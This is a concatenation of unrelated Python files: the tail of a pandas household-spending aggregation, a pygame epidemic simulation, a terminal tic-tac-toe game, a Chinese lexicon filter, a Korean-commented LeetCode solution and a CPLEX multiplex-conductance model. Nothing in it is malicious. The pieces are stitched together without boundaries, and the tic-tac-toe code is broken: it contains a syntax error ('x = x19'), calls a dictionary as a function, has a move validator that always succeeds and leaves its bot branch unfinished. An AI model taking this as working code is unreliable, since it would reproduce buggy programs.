        # divide each column by the household's Days in Data value
        test = section_sales.merge(duration, on='household_key').drop('Days in Data', axis=1)
        daily_mean_spend_per_category = test.div(duration, axis=0)
        daily_mean_spend_per_category.columns = [x + '_daily_mean_spend_per_category' for x in daily_mean_spend_per_category.columns]
        return pd.concat([log_transformed_section_sales, daily_mean_spend_per_category], axis=1)

    ### RUNTIME

    hh_agg = pd.concat([make_hh_agg(df), transformed_section_sales(df), add_RFM(df)], axis=1)

    return hh_agg


import math
import random
from time import sleep
import sys
import subprocess
import os
#avoiding the prints of pygame library
os.environ['PYGAME_HIDE_SUPPORT_PROMPT'] = "hide"

#downloading the required packages(numpy and pygame) if they aren't installed
try:
    import numpy as np
except ImportError:
    subprocess.check_call([sys.executable, "-m", "pip", "install", 'numpy'], stdout=subprocess.DEVNULL)
    print("Installed numpy")
    import numpy as np

try:
    import pygame as pg
except ImportError:
    subprocess.check_call([sys.executable, "-m", "pip", "install", 'pygame'], stdout=subprocess.DEVNULL)
    print("Installed pygame")
    import pygame as pg

#this class represents an organism in the simulation
class Organism:
    # ctor
    def __init__(self, state, speed, X):
        self.state = state
        self.speed = speed
        self.sick_time = X

    # setting the state of the organism
    def set_state(self, new_state):
        self.state = new_state

    # returns true if the organism is healthy, else - false
    def is_healthy(self):
        if self.state == 1:
            return True
        return False

    # returns true if the organism is sick, else - false
    def is_sick(self):
        if self.state == 2:
            return True
        return False

    #checking if the organism still has time to be sick
    def is_still_sick(self):
        if self.sick_time > 0:
            return True
        return False

    #updating the number of generations that the organism has to be sick
    def update_sick_time(self):
        self.sick_time -= 1
        return self.sick_time

#the board size - size*size
size = 200

#moving an organism randomly - setting the selected new location in "update_positions"
#parameters: the board, a list with the selected locations for all the organisms,
# the row and column of the organism's current location, the speed of the organism, the id of the organism
def move(board, update_positions, row, col, steps, id):
    new_position = []
    options_list = [1,2,3,4,5,6,7,8,9]
    valid_position = False

    #untill the selected new location doesn't collide with other organism's location - selecting a new location
    while valid_position == False:
        #selecting the movement of the organism randomly
        x = random.choice(options_list)

        # Stay in the same place
        if x == 1:
            new_position = [row, col]
        # Up + Left
        elif x == 2:
            new_position = [((row - steps) + size) % size, ((col - steps) + size) % size]
        # Up
        elif x == 3:
            new_position = [((row - steps) + size) % size, col]
        # Up + Right
        elif x == 4:
            new_position = [((row - steps) + size) % size, ((col + steps) + size) % size]
        # Left
        elif x == 5:
            new_position = [row, ((col - steps) + size) % size]
        # Right
        elif x == 6:
            new_position = [row, ((col + steps) + size) % size]
        # Down + Left
        elif x == 7:
            new_position = [((row + steps) + size) % size, ((col - steps) + size) % size]
        # Down
        elif x == 8:
            new_position = [((row + steps) + size) % size, col]
        # Down + Right
        elif x == 9:
            new_position = [((row + steps) + size) % size, ((col + steps) + size) % size]

        #checking if the position is valid - not colliding with other organism's position
        if board[new_position[0], new_position[1]] == 0 or board[new_position[0], new_position[1]] == id:
            valid_position = True
        #if invalid - removing the selected movement from the possible movements array
        else:
            options_list.remove(x)

    #checks if the selected new location collides with a new location of a previous organism
    #if there is a collision - the current organism will stay in the same place
    for i in range(id - 1):
        if update_positions[i + 1][0] == new_position[0] and update_positions[i + 1][1] == new_position[1]:
            new_position = [row, col]

    #updates the new position of the current organism
    update_positions[id] = new_position

#initializing the board of the simulation
def initialize_board(N, init_positions):
    # Create an empty 2D numpy array by the size(0 - an empty position)
    an_array = np.full([size, size], 0)

    #adding the organisms to the board
    for i in range(N):
        #finds a position that is empty
        row = random.randint(0, size - 1)
        col = random.randint(0, size - 1)

        while an_array[row, col] != 0:
            row = random.randint(0, size - 1)
            col = random.randint(0, size - 1)

        #setting the current organism in the empty position
        an_array[row, col] = i + 1
        init_positions[i] = [row , col]

    return an_array

#initializing dictionary that holds information about every organism
def initialize_dict(N, init_positions, D, R, X):
    org_dict = {}
    #the initial states of the organisms
    states = np.full(N, 1)
    #selecting randomly by D the sick organisms
    sick_indexes = random.sample(range(0, N), D)
    #setting the state of the sick organisms(2)
    for index in sick_indexes:
        states[index] = 2

    #the initial speeds of the organisms
    speeds = np.full(N, 1)
    # selecting randomly by R the fast organisms
    fast_indexes = random.sample(range(0, N), R)
    # setting the speed of the sick organisms(10)
    for index in fast_indexes:
        speeds[index] = 10

    #adding the organisms to the dictionary
    for i in range(N):
        org_dict[i + 1] = (init_positions[i], Organism(states[i], speeds[i], X))

    return org_dict

#checking if there is a neighbor near the input position. if there is - returning it's id
def get_neighbors_ids(array, row, col):
    ids = []
    if array[((row - 1) + size) % size, ((col - 1) + size) % size] != 0:
        ids.append(array[((row - 1) + size) % size, ((col - 1) + size) % size])
    if array[((row - 1) + size) % size, col] != 0:
        ids.append(array[((row - 1) + size) % size, col])
    if array[((row - 1) + size) % size, ((col + 1) + size) % size] != 0:
        ids.append(array[((row - 1) + size) % size, ((col + 1) + size) % size])
    if array[row, ((col - 1) + size) % size] != 0:
        ids.append(array[row, ((col - 1) + size) % size])
    if array[row, ((col + 1) + size) % size] != 0:
        ids.append(array[row, ((col + 1) + size) % size])
    if array[((row + 1) + size) % size, ((col - 1) + size) % size] != 0:
        ids.append(array[((row + 1) + size) % size, ((col - 1) + size) % size])
    if array[((row + 1) + size) % size, col] != 0:
        ids.append(array[((row + 1) + size) % size, col])
    if array[((row + 1) + size) % size, ((col + 1) + size) % size] != 0:
        ids.append(array[((row + 1) + size) % size, ((col + 1) + size) % size])

    return ids

#randomly selecting sick or healthy by P
def random_sick(P):
    state = ["sick", "healthy"]
    if np.random.choice(state, p=[P, 1 - P]) == "sick":
        return True
    return False

#setting P by the sick organisms rate and T
def initialize_p(T, P_low, P_high, sick_rate):
    if sick_rate <= T:
        return P_high
    elif sick_rate > T:
        return P_low

#printing the information about the organisms
def print_organisms(organisms_list, N):
    for i in range(N):
        print('id:', i + 1)
        print('position:', organisms_list[i + 1][0])
        print('data:', organisms_list[i + 1][1].state, organisms_list[i + 1][1].sick_time, organisms_list[i + 1][1].speed)

#checks if the input parameters are valid
def are_parameters_valid(N, D, R, X, P_low, P_high, T):
    valid_parameters = True
    if N >= size*size:
        print("Too Many Organisms - N Needs To Be Smaller Than The Size Of The Board.")
        valid_parameters = False
    if N < 1:
        print("N Needs To Be At Least 1.")
        valid_parameters = False
    if not isinstance(N, int):
        print("N Needs To Be An Integer.")
        valid_parameters = False
    if D > 1 or D < 0:
        print("D Needs To Be Between 0 And 1.")
        valid_parameters = False
    if R > 1 or R < 0:
        print("R Needs To Be Between 0 And 1.")
        valid_parameters = False
    if X < 0:
        print("X Needs To Be At Least 0.")
        valid_parameters = False
    if not isinstance(X, int):
        print("X Needs To Be An Integer.")
        valid_parameters = False
    if P_low > 1 or P_low < 0:
        print("P_low Needs To Be Between 0 And 1.")
        valid_parameters = False
    if P_high > 1 or P_high < 0:
        print("P_high Needs To Be Between 0 And 1.")
        valid_parameters = False
    if P_low > P_high:
        print("P_low Needs To Be Lower Or Equal To P_high.")
        valid_parameters = False
    if T > 1 or T < 0:
        print("T Needs To Be Between 0 And 1.")
        valid_parameters = False

    return valid_parameters

#main function
if __name__ == '__main__':
    if len(sys.argv) < 8:
        print("Not Enough Parameters!")
    else:
        # initializing the parameters by the input of the user
        N = int(sys.argv[1])
        D = float(sys.argv[2])
        R = float(sys.argv[3])
        X = int(sys.argv[4])
        P_low = float(sys.argv[5])
        P_high = float(sys.argv[6])
        T = float(sys.argv[7])

        #if the parameters are valid - proceeding
        if are_parameters_valid(N, D, R, X, P_low, P_high, T):
            num_of_fast_organisms = math.ceil(N*R)
            sick_organisms = math.ceil(N*D)
            print("Number Of Organisms:", N, ", Initial Number Of Sick Organisms:", sick_organisms,
                  " ,Number Of Fast Organisms: ", num_of_fast_organisms)
            #initializing the board and the starting positions of the organisms
            init_positions = [None] * N
            arr = initialize_board(N, init_positions)

            #initializing the properties for every organism
            organisms_dict = initialize_dict(N, init_positions, sick_organisms, num_of_fast_organisms, X)

            #the colors on the board
            colors = np.array([[255, 255, 255], [120, 250, 90], [250, 90, 120], [80, 128, 255]])

            isLastGeneration = False

            #generations loop
            generation = 0
            while not isLastGeneration:
                #if there are not anymore sick organisms - the simulation will stop
                if sick_organisms == 0:
                    isLastGeneration = True
                sick_rate = float(sick_organisms/N)
                # check for updating p
                P = initialize_p(T, P_low, P_high, sick_rate)

                print("Generation: ", generation, " Sick Rate: ", sick_rate)

                #creating a board with the organism's states instead of the organism's ids
                states_board = np.empty((size, size))
                for i in range(size):
                    for j in range(size):
                        if arr[i][j] != 0:
                            states_board[i][j] = organisms_dict[arr[i][j]][1].state
                        else:
                            states_board[i][j] = 0

                #presenting the visual board
                states_board = states_board.astype(int)
                pg.init()
                screen = pg.display.set_mode((700, 700))

                print_array = np.transpose(states_board)
                colors_arr = colors[print_array]
                surface = pg.surfarray.make_surface(colors_arr)
                surface = pg.transform.scale(surface, (600, 600))  # Scaled a bit.

                pg.font.init()
                my_font = pg.font.SysFont('Comic Sans MS', 30)
                text_surface = my_font.render(
                    'Generation: ' + str(generation) + ", Sick Organisms Rate: " + str(sick_rate*100) + "%",
                    False, (255, 255, 255))

                screen.fill((30, 30, 30))
                screen.blit(surface, (60, 60))
                screen.blit(text_surface, (10, 10))
                pg.display.flip()
                sleep(3)

                #scans the array for the sick organisms
                update_states = {}
                for i in range(N):
                    #if the current organism is still sick
                    if organisms_dict[i + 1][1].is_sick():
                        #if the current organism has no time left to be sick - updating it's state and the sick counter
                        if not organisms_dict[i + 1][1].is_still_sick():
                            update_states[i + 1] = 3
                            sick_organisms -= 1

                        #if the current organism if still sick
                        else:
                            #getting the organism's neighbors and randomizing by P if the healthy neighbors will be sick
                            for neighbor_id in get_neighbors_ids(arr, organisms_dict[i + 1][0][0], organisms_dict[i + 1][0][1]):
                                #if the neighbor is healthy
                                if organisms_dict[neighbor_id][1].is_healthy():
                                    #randomize if sick
                                    if random_sick(P):
                                        #means that no other organism already got the current neighbor sick
                                        if neighbor_id not in update_states:
                                            #updating the neighbor's state and the sick counter
                                            update_states[neighbor_id] = 2
                                            sick_organisms += 1

                            organisms_dict[i + 1][1].update_sick_time()

                #updating the states for the next generation
                for update_index in update_states:
                    organisms_dict[update_index][1].set_state(update_states[update_index])

                #scans the array and for every organism's randomizing it's new position
                update_positions = {}
                for i in range(N):
                    move(arr, update_positions, organisms_dict[i + 1][0][0], organisms_dict[i + 1][0][1], organisms_dict[i + 1][1].speed, i + 1)

                #update the positions on the dictionary and on the board
                for i in range(N):
                    # updates the new position for the organism on the board
                    arr[update_positions[i + 1][0], update_positions[i + 1][1]] = i + 1
                    # setting the old position as empty if no previous organism moves to this location
                    if arr[organisms_dict[i + 1][0][0], organisms_dict[i + 1][0][1]] == i + 1 and organisms_dict[i + 1][0] != update_positions[i + 1]:
                        arr[organisms_dict[i + 1][0][0], organisms_dict[i + 1][0][1]] = 0

                    # updates the new position for the organism in the dictionary
                    organisms_dict[i + 1][0][0] = update_positions[i + 1][0]
                    organisms_dict[i + 1][0][1] = update_positions[i + 1][1]

                #updates the generation number
                generation += 1


import os, time, random
from getkey import getkey, keys
key = getkey()
#if key == keys.UP:
	# Handle the UP key
#elif key == keys.DOWN:
	# Handle the DOWN key
#elif key == 'a':
	# Handle the `a` key
#elif key == 'Y':
	# Handle `shift-y`

os.system("clear")

def refresh():
	os.system("clear")
	print("_____________________________________________________________________________________________________\n")

def drawBoard(progress=[0,0,0,0,0,0,0,0,0], cursor=None):
	for spot in range(0, 9):

		if spot == cursor:
			progress[spot] = "■"

		elif progress[spot] == 0:
			progress[spot] = " "

		elif progress[spot] == 1:
			progress[spot] = "X"

		elif progress[spot] == 2:
			progress[spot] = "O"

	print(f"{progress[0]}|{progress[1]}|{progress[2]}\n-+-+-\n{progress[3]}|{progress[4]}|{progress[5]}\n-+-+-\n{progress[6]}|{progress[7]}|{progress[8]}")

def isValidMove(move, progress):
	if move in ["1","2","3","4","5","6","7","8","9"]:
		if not progress[int(move - 1)]:
			return True
		else:
			return True
	else:
		return False

def sideWon(side, progress):
	x = 1
	if progress[0] == side:
		x = x*2
	if progress[1] == side:
		x = x*3
	if progress[2] == side:
		x = x*5
	if progress[3] == side:
		x = x*7
	if progress[4] == side:
		x = x*11
	if progress[5] == side:
		x = x*13
	if progress[6] == side:
		x = x*17
	if progress[7] == side:
		x = x19
	if progress[8] == side:
		x = x*23

	for combination in [30, 1001, 7429, 238, 627, 1495, 506, 935]:
		if x % combination == 0:
			return True
	return False

def nearDeath(progress, side):
	x = 1
	if progress[0] == side:
		x = x*2
	if progress[1] == side:
		x = x*3
	if progress[2] == side:
		x = x*5
	if progress[3] == side:
		x = x*7
	if progress[4] == side:
		x = x*11
	if progress[5] == side:
		x = x*13
	if progress[6] == side:
		x = x*17
	if progress[7] == side:
		x = x*19
	if progress[8] == side:
		x = x*23

	near_death_sheet = {6:2, 10:1, 15:0, 77:5, 91:4, 143:3, 323:8, 391:7, 437:6, 14:6, 34:3, 119:0, 33:7, 57:4, 209:1, 65:8, 115:5, 299:2, 22:8, 46:4, 253:0, 55:6, 85:4, 187:2}
	near_deaths = []
	occupied = []

	for spot in range(0, 9):
		if progress[spot]:
			occupied.append(spot)

	for near_death in near_death_sheet:
		if x % near_death == 0 and not near_death_sheet(near_death):
			near_deaths.append(near_death_sheet[near_death])

	if not len(near_deaths) == 0:
		return near_deaths

def bot(progress, side, difficulty):
	occupied = []
	for spot in range(0, 9):
		if progress[spot]:
			occupied.append(spot)

	if difficulty == 0:
		options = []
		for spot in range(0, 9):
			if not spot in occupied:
				options.append(spot)
		return random.choice(options)

	else:
		if nearDeath(progress, side):
			return random.choice(nearDeath(progress, side))
		elif nearDeath(progress, 3 -side):
			return random.choice(nearDeath(progress, 3 -side))
		else:
			priority_0 = [4]
			priority_1 = [0, 2, 6, 8]
			priority_2 = [1, 3, 5, 7]
			if 4 in occupied:
				del priority_0[0]
			for spot in priority_1:
				if spot in occupied:
					del priority_1[priority_1.index(spot)]
			for spot in priority_2:
				if spot in occupied:
					del priority_2[priority_2.index(spot)]

			if len(priority_0) != 0:
					return random.choice(priority_0)

			elif difficulty == 1:
				if len(priority_2) != 0:
					return random.choice(priority_2)
				else:
					return random.choice(priority_1)

			else:
				if len(priority_1) != 0:
					return random.choice(priority_1)
				else:
					return random.choice(priority_2)
#keyboard.is_pressed(key)
#keyboard.wait(key)

quit = 0
cursor = 4

while True:
	if quit == 1:
		refresh()
		print("Bye!")
		break

	refresh()
	print("Welcome to TicTacToe!")
	home = input("Do you want to play against a friend (F), against our bot (B), or do you want to quit (Q)? ")
	while not home.upper() in ["F", "B", "Q"]:
		home = input("Do you want to play against a friend (F), against our bot (B), or do you want to quit (Q)? ")
		refresh()

	if home.upper() == "Q":
		quit = 1

	if home.upper() == "F":
		refresh()
		progress = [0,0,0,0,0,0,0,0,0]
		for turn in range(0, 9):
			done = False
			ticks = 0
			while done == False:
				refresh()
				if ((ticks - (ticks%10))/10) % 2 == 0:
					drawBoard(progress, cursor)
				else:
					drawBoard(progress)
				if turn % 2 == 0:
					print("It's X's turn. Choose the right square with the arrow keys and press Enter.")
					time.sleep(0.1)
					if key == keys.UP:
						if cursor > 2:
							cursor = cursor-3
						else:
							cursor = cursor+6
					if key == keys.DOWN:
						if cursor < 6:
							cursor = cursor+3
						else:
							cursor = cursor-6
					if key == keys.LEFT:
						if cursor % 3 > 0:
							cursor = cursor-1
						else:
							cursor = cursor+2
					if key == keys.RIGHT:
						if cursor % 3 < 2:
							cursor = cursor+1
						else:
							cursor = cursor-2

	if home.upper() == "B":
		refresh()


from sys import argv
import sys
import os
import time
import pdb

#将词典2中存在但词典1中不存在的单字过滤出来

if __name__ == "__main__":
    if (len(argv) != 3):
        print('Usage:%s [lexicon1] [lexicon2]' % argv[0])
        sys.exit()
    #pdb.set_trace()
    lexicon1 = open(argv[1], 'r') #我们的词典
    lexicon2 = open(argv[2], 'r') #国标一二级
    lexicon_output = "filter_result.txt"
    lexicon_output_fp = open(lexicon_output, 'w')

    lines = lexicon1.readlines()
    dict_1 = {}
    for line in lines:
        line = line.strip()
        split_line = line.split(';', 2)
        key = split_line[0]
        dict_type = split_line[1]
        value = split_line[2]
        if (int(dict_type) != 1):
            continue
        if (u'\u0041'<= key <= u'\u005a') or (u'\u0061' <= key <= '\u007a'):#存在英文
            continue
        else:
            if len(key) == 1:
                if key in dict_1.keys():
                    value_list = dict_1[key]
                    value_list.append(value)
                    dict_1[key] = value_list
                else:
                    value_list = [value]
                    dict_1[key] = value_list

    lines2 = lexicon2.readlines()
    for line in lines2:
        line = line.strip()
        split_line = line.split(';',2)
        key = split_line[0]
        dict_type = split_line[1]
        value = split_line[2]
        if (int(dict_type) != 1):
            continue
        if (u'\u0041'<= key <= u'\u005a') or (u'\u0061' <= key <= '\u007a'):#存在英文
            continue
        else:
            if len(key) == 1:
                if key not in dict_1.keys():
                    buffer = "%s\n" % key
                    lexicon_output_fp.write(buffer)
            else:
                continue

    lexicon1.close()
    lexicon2.close()
    lexicon_output_fp.close()

    print("output:filter_result.txt")


# https://leetcode.com/problems/remove-duplicate-letters/

def remove_duplicates(s):
    """
    Lexicographical order를 찾아야 하는 문제이다.
    재배치하는 것이 아니라, 주어진 s에서 알파벳을 제거해서 완성을 해야한다.
    순서를 제대로 만들기 위해 우리는,
    I) 포함된 알파벳 모두 한번씩 포함되야 하고,
    II) 전체적인 s의 순서를 제일 작게 해야 한다(e.g. 'adcb' > 'aczz')
    """
    from collections import Counter

    counter, stack, seen = Counter(s), [], set()

    for char in s:
        counter[char] -= 1
        if char in seen:
            continue

        """
        가장 핵심적인 while 문이다. 조건들을 살펴보자.
        1) stack
        -> index out of range를 방지하기 위한 사전 확인
        2) char < stack[-1]
        -> 전체적인 순서를 위해, 자신보다 큰 알파벳들은 제거한다(II조건).
        3) counter[stack[-1]] > 0
        -> 하지만 조건은 해당 알파벳이 추후에도 나와야한다(I조건).
        """
        while stack and char < stack[-1] and counter[stack[-1]] > 0:
            seen.remove(stack.pop())
        stack.append(char)
        seen.add(char)

    return ''.join(stack)

s = 'cbacdcbc'
s1 = 'bcabc'

print(remove_duplicates(s))

"""추가
'cbacdcbc'를 언뜻보면, 답인 'acdb'가 이해 안될 수 있다.
c가 가장 많이 출현하는데, 두번째에 위치한다.
그 이유는 아무리 네번 나온다 하더라도, d가 한번 나오기 때문에,
d가 스택에 추가되고 한번 밖에 존재하지 않는 이상,
d앞에 알파벳은 그 앞에 나온걸로 끝이다. 왜냐하면 d의 자리는 고정이기 때문이다.
"""


from __future__ import print_function
import cplex
import numpy as np
import networkx as nx
import matplotlib.pyplot as plt
from itertools import product
from cplex.exceptions import CplexError, CplexSolverError
import time
from scipy.sparse import find
import numpy as np
import networkx as nx
from multiplex import Multiplex

def solveMultiplexConductance(mx,local_genes,seed,fdr_bound,time_limit,relative_gap):
    fdr_data = mx.get_fdr()
    nodes = [x + '#' + y for x in local_genes for y in mx.get_layers()]
    local_index = [mx.get_state_node().index(x) for x in nodes]
    layers = mx.get_layers()
    adjacency_connection = mx.get_adjacency()[local_index,:][:,local_index]
    transition_multiplied = mx.get_trans_multiply_stat()[local_index,:][:,local_index]
    stationary_distribution = mx.get_stationary()[local_index]
    [conn_indi,conn_indj,conn_val] = find(adjacency_connection)
    [tran_indi,tran_indj,tran_val] = find(transition_multiplied)
    n_transition = len(tran_val);
    nNodes = len(nodes)
    nEdges = len(conn_val)
    u = 1.001 # upper bound of Z
    l = -0.001 # lower bound of Z
    tmp1 = [(x,y) for (x,y) in zip(tran_indi,tran_indj) if x<=y]
    tmp2 = [(y,x) for (x,y) in zip(tran_indi,tran_indj) if x>y]
    xx_entrys = list(set(tmp1 + tmp2))
    xx_entrys_value = [transition_multiplied[x,y] + transition_multiplied[y,x] for (x,y) in xx_entrys]

    ######## Variables Start
    # Variable Name
    variable_x = [x for x in nodes] # x_i, indicator variable
    variable_z = "obj" # Z
    variable_zx = ["".join(("z", x)) for x in nodes] # zx_i
    variable_xx = ["".join((np.array(nodes)[x],"*",np.array(nodes)[y])) for (x,y) in xx_entrys] # xx_ij #transition nonzero for conductance calculation
    variable_y = ["".join((x, "->", y)) for x, y in zip(np.array(nodes)[conn_indi],np.array(nodes)[conn_indj])] #y_ij #egdes for flow
    variable_source = "source" # source flow
    variable_s2x = ["".join((variable_source, "_", seed + "_" + layers[0]))] # source to seed
    my_colnames = variable_x + [variable_z] + variable_zx + variable_xx +  variable_y + [variable_source] + variable_s2x
    variable_dict = dict(zip(my_colnames,range(len(my_colnames)))) # variable map, speed up problem building of cplex
    # Variable Type: x_i binary, other continous
    my_ctype = "I" * nNodes + "C" * (nEdges + nNodes + len(xx_entrys) + 3)
    # Variable Bound: x {0,1}, obj 0-1, zx: 0-1, xx: 0-1, y: 0-nodes, source: 0-nodes, source2seed: 0-nodes
    my_ub = [1.0] * nNodes + [1.0] * (1 + nNodes + len(xx_entrys)) + [float(nNodes)] * (nEdges + 2)
    my_lb = [0.0] * nNodes + [0.0] * (1 + nNodes + len(xx_entrys) + nEdges + 2)
    ######### Variables End

    ######## Objective
    my_obj = [0.0] * nNodes + [1.0] + [0.0] * (nEdges + nNodes + len(xx_entrys) + 2) # objective: min Z
    ######## Objective End

    ######## Constraints Start
    my_row = []

    ### seed constrain  x_seed = 1
    tmp_con = [[variable_dict[seed + '#' + layers[0]]], [1.0]]
    my_row.append([[variable_dict[seed + '#' + layers[0]]], [1.0]])
    my_rhs_seed = [1.0]
    my_sense_seed = "E"
    my_rownames_seed = ["seed"]

    #### Budget constraint fdr: sum(lfdr-B) <= 0
    tmp_con = [ [variable_dict[x + '#' + layers[0]] for x in local_genes], [ float(fdr_data[x] - fdr_bound) for x in local_genes if x in fdr_data.keys()] ]
    my_row.append([ [variable_dict[x + '#' + layers[0]] for x in local_genes], [ float(fdr_data[x] - fdr_bound) for x in local_genes if x in fdr_data.keys()] ] )
    my_sense_budget_fdr = "L"
    my_rhs_budget_fdr = [0.0]
    my_rownames_budget_fdr = ["Budget_fdr"]

    #### Connectivity constraints
    # residual flow + flow injected into network = total flow  z0 + sum(y_zv) = N
    my_row.append([[variable_dict[variable_source], variable_dict[variable_s2x[0]]], [1.0] * (1 + 1)])
    my_sense_total = "E"
    my_rhs_total = [float(nNodes)]
    my_rownames_total = ["total"]

    # positive flow
    for i in range(nEdges):
        my_row.append([[variable_dict[variable_y[i]], variable_dict[variable_y[i].split("->")[-1]]], [1.0, -float(nNodes)]])
    my_rhs_positive = [0.0] * nEdges
    my_sense_positive = "L" * nEdges
    my_rownames_positive = ["".join((variable_y[i], "flow")) for i in range(nEdges)]

    # consuming flow
    my_rhs_consuming = []
    my_sense_consuming = "E" * nNodes
    my_rownames_consuming = []
    for i in range(nNodes):
        edge_incoming = [variable_dict["".join((nodes[y],"->",nodes[i]))] for y in list(adjacency_connection[i,:].nonzero()[1])]
        edge_ongoing = [variable_dict["".join((nodes[i],"->",nodes[y]))] for y in list(adjacency_connection[:,i].nonzero()[0])]
        if nodes[i] == (seed + '#' + layers[0]):
            edge_incoming.append(variable_dict[variable_s2x[0]])
        edge_ongoing.append(variable_dict[nodes[i]])
        my_row.append([edge_incoming + edge_ongoing, [1.0] * len(edge_incoming) + [-1.0] * (len(edge_ongoing))])
        my_rhs_consuming = my_rhs_consuming + [0.0]
        my_rownames_consuming = my_rownames_consuming + ["".join(("consuming_", nodes[i]))]

    # injected = consumed
    my_rhs_equal = [0.0]
    my_sense_equal = "E"
    my_rownames_equal = ["Equal"]
    tmp = [variable_dict[x] for x in variable_x]
    tmp.append(variable_dict[variable_s2x[0]])
    my_row.append([tmp, [1.0] * nNodes + [-1.0]])

    #### Helper constraints
    # Multiplex conductance: -sum(zx_i * D_ii) + sum(p*x_ii) - sum(P*p*x_ij) <= 0 and x_ii == x_i
    my_rhs_obj = [0.0]
    my_sense_obj = "L"
    my_rownames_obj = ["obj_main"]
    var_zx = [variable_dict[x] for x in variable_zx]
    var_x = [variable_dict[x] for x in variable_x]
    var_xx = [variable_dict[x] for x in variable_xx]
    tmpvar = []
    tmpvar.extend(var_zx + var_x + var_xx)

    value_zx = [-1.0*val for val in stationary_distribution.squeeze()] # stationary
    value_x = [1.0*val for val in stationary_distribution.squeeze()] # stationary
    value_xx = [-1.0*val for val in xx_entrys_value] # transition*stationary
    tmpvalue = []
    tmpvalue.extend(value_zx + value_x + value_xx)

    my_row.append([tmpvar,tmpvalue])

    # Constraints for zx:
    # 1. zx_i >= z - u(1-x_i) ===>   z +   x_i - zx_i <= u
    # 2. zx_i >= l*x_i        ===>       l*x_i - zx_i <= 0
    # 3. zx_i <= z - l(1-x_i) ===>  -z - l*x_i + zx_i <= -l
    # 4. zx_i <= u*x_i        ===>     - u*x_i + zx_i <= 0
    my_rhs_zx = [u] * nNodes + [0.0] * nNodes + [-1.0*l] * nNodes + [0.0] * nNodes
    my_sense_zx = "L" * 4 * nNodes
    my_rownames_zx = ["".join(("obj_helper_zx1_",nodes[i])) for i in range(nNodes)] + ["".join(("obj_helper_zx2_",nodes[i])) for i in range(nNodes)] + ["".join(("obj_helper_zx3_",nodes[i])) for i in range(nNodes)] + ["".join(("obj_helper_zx4_",nodes[i])) for i in range(nNodes)]

    constrain_zx_1 = [[[variable_dict[variable_z],variable_dict[variable_x[i]],variable_dict[variable_zx[i]]],[1.0,u,-1.0]] for i in range(nNodes)]
    constrain_zx_2 = [[[variable_dict[variable_x[i]],variable_dict[variable_zx[i]]],[l,-1.0]] for i in range(nNodes)]
    constrain_zx_3 = [[[variable_dict[variable_z],variable_dict[variable_x[i]],variable_dict[variable_zx[i]]],[-1.0,-l,1.0]] for i in range(nNodes)]
    constrain_zx_4 = [[[variable_dict[variable_x[i]],variable_dict[variable_zx[i]]],[-u,1.0]] for i in range(nNodes)]
    my_row.extend(constrain_zx_1 + constrain_zx_2 + constrain_zx_3 + constrain_zx_4)

    # Constraints for xx
    # 1. xx_ij <= x_i                ===>  xx_ij - x_i        <= 0
    # 2 xx_ij <= x_j               ===>  xx_ij - x_j        <= 0
    # 3 xx_ij >= x_i + x_j - 1     ===> -xx_ij + x_i + x_j  <= 1

    my_rhs_xx = [0.0] * (2 * len(variable_xx)) + [1.0] * len(variable_xx)
    my_sense_xx = "L" * (3 * len(variable_xx))
    my_rownames_xx = ["".join(("obj_helper_xx1_",x.split('*')[0],x.split('*')[1])) for x in variable_xx] + \
                    ["".join(("obj_helper_xx2_",x.split('*')[0],x.split('*')[1])) for x in variable_xx] + \
                    ["".join(("obj_helper_xx3_",x.split('*')[0],x.split('*')[1])) for x in variable_xx]

    constrain_1 = [[[variable_dict[x],variable_dict[x.split('*')[0]]],[1.0,-1.0]] for x in variable_xx]
    constrain_2 = [[[variable_dict[x],variable_dict[x.split('*')[1]]],[1.0,-1.0]] for x in variable_xx]
    constrain_3 = [[[variable_dict[x],variable_dict[x.split('*')[0]],variable_dict[x.split('*')[1]]],[-1.0,1.0,1.0]] for x in variable_xx]
    my_row.extend(constrain_1 + constrain_2 + constrain_3)

    # Adherent constraint
    # gene_test1 = gene_test2 = gene_test3
    my_rhs_adh = [0.0] * len(local_genes) * (len(layers)-1)
    my_sense_adh = "E" * len(local_genes) * (len(layers)-1)
    my_rownames_adh = ["".join(("adh_",x,"")) for x in local_genes for i in range(1,len(layers))]
    constrain_adh = [[[variable_dict[x + '#'+layers[0]],variable_dict[x + '#' + layers[i]]],[1.0,-1.0]] for x in local_genes for i in range(1,len(layers))]
    my_row.extend(constrain_adh)

    #### Merge Constraints
    my_sense = my_sense_seed + my_sense_budget_fdr + my_sense_total + my_sense_positive + my_sense_consuming + my_sense_equal + \
                my_sense_obj + my_sense_zx + my_sense_xx + my_sense_adh
    my_rhs = my_rhs_seed + my_rhs_budget_fdr + my_rhs_total + my_rhs_positive + my_rhs_consuming + my_rhs_equal + \
                my_rhs_obj + my_rhs_zx + my_rhs_xx + my_rhs_adh
    my_rownames = my_rownames_seed + my_rownames_budget_fdr + my_rownames_total + \
                    my_rownames_positive + my_rownames_consuming + my_rownames_equal + my_rownames_obj + my_rownames_zx + my_rownames_xx + my_rownames_adh
    ######## Constraints End
    #print(len(my_row),len(my_sense),len(my_rhs),len(my_rownames))
    ######## Problem Build Start
    try:
        build_start = time.time()
        subnetwork = cplex.Cplex()
        subnetwork.parameters.timelimit.set(time_limit)
        subnetwork.parameters.mip.tolerances.mipgap.set(relative_gap)
        subnetwork.set_log_stream(None)
        subnetwork.set_warning_stream(None)
        subnetwork.set_results_stream(None)
        #subnetwork.parameters.simplex.tolerances.markowitz.set(0.99999)
        #subnetwork.parameters.read.scale.set(1)
        subnetwork.objective.set_sense(subnetwork.objective.sense.minimize)
        subnetwork.variables.add(obj=my_obj, lb=my_lb, ub=my_ub, types=my_ctype, names=my_colnames)
        subnetwork.linear_constraints.add(lin_expr=my_row, senses=my_sense,rhs=my_rhs, names=my_rownames)
        #build_end = time.time()
        #print("build time: ", build_end - build_start)
        #solve_start = time.time()
        subnetwork.solve()
        #solve_end = time.time()
        #print("Solve time: ", solve_end - solve_start)
    except CplexError as exc:
        print(exc)
        subnetwork_result = [];
        status = -1;
        return
    ######## Problem Build End

    ######## Solution Start
    solution = subnetwork.solution
    #solution.get_status() returns  an integer code
    #print("Solution status = ", solution.get_status(), ":", end=' ')
# # # the following line prints the corresponding string
# #   print(solution.status[solution.get_status()])
    status = solution.status[solution.get_status()]
    try:
        #print("Objective value = ", solution.get_objective_value())
        x = solution.get_values(0, subnetwork.variables.get_num() - 1)
        result = dict(zip(my_colnames, x))
    except CplexSolverError as exc:
#     #print(exc)
        subnetwork_result = []
        return subnetwork_result,status
# #print(result)
    subnetwork_result = [x for x in variable_x if result[x] > 0.9]
    return subnetwork_result, status

if __name__ == '__main__':
    database_list = ['test1','test2','test3']
